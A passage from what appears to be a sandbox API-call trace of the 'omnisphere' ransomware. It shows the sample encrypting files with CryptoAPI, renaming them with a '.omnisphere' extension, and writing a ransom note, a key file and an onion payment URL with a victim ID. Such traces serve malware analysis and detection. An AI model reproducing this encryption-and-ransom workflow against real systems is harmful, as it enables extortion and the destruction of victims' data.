| out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.403] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.404] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.405] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.405] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.405] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0120.405] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.405] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.405] GetProcessHeap () returned 0x1600000 [0120.405] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16c9898 [0120.405] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i74al7mc18tuuay.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i74al7mc18tuuay.lnk.omnisphere")) returned 1 [0120.406] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk.omnisphere.id" [0120.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i74al7mc18tuuay.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.406] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.407] CloseHandle (hObject=0x3c0) returned 1 [0120.407] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.407] CloseHandle (hObject=0x288) returned 1 [0120.407] SetEndOfFile (hFile=0x28c) returned 1 [0120.408] FlushFileBuffers (hFile=0x28c) returned 1 [0120.413] CloseHandle (hObject=0x28c) returned 1 [0120.413] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i74al7MC18tUuay.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.413] GetProcessHeap () returned 0x1600000 [0120.413] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.414] GetProcessHeap () returned 0x1600000 [0120.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1f28 [0120.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1f28, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.414] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.414] GetProcessHeap () returned 0x1600000 [0120.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b0008 [0120.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b0008, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.414] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.414] GetProcessHeap () returned 0x1600000 [0120.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfd10 [0120.414] PathCombineW (in: pszDest=0x16bfd10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.414] GetProcessHeap () returned 0x1600000 [0120.414] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c6cb8 [0120.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.414] WriteFile (in: hFile=0x28c, lpBuffer=0x16c6cb8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c6cb8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.414] CloseHandle (hObject=0x28c) returned 1 [0120.415] GetProcessHeap () returned 0x1600000 [0120.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.415] GetProcessHeap () returned 0x1600000 [0120.415] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0120.415] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.415] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.415] CloseHandle (hObject=0x28c) returned 1 [0120.415] GetProcessHeap () returned 0x1600000 [0120.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0120.415] GetProcessHeap () returned 0x1600000 [0120.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.415] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e557914, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e557914, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e557914, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="iF5h-.lnk", cAlternateFileName="")) returned 1 [0120.415] GetProcessHeap () returned 0x1600000 [0120.415] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x167bf88 [0120.415] PathCombineW (in: pszDest=0x167bf88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="iF5h-.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk" [0120.415] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\if5h-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.416] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=925) returned 1 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.416] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] GetTickCount () returned 0x115e154 [0120.417] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0120.417] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0120.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.418] CryptDestroyKey (hKey=0x16394e8) returned 1 [0120.418] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.418] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39d, lpName=0x0) returned 0x288 [0120.418] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39d) returned 0x1480000 [0120.418] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0120.418] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0120.418] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.419] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 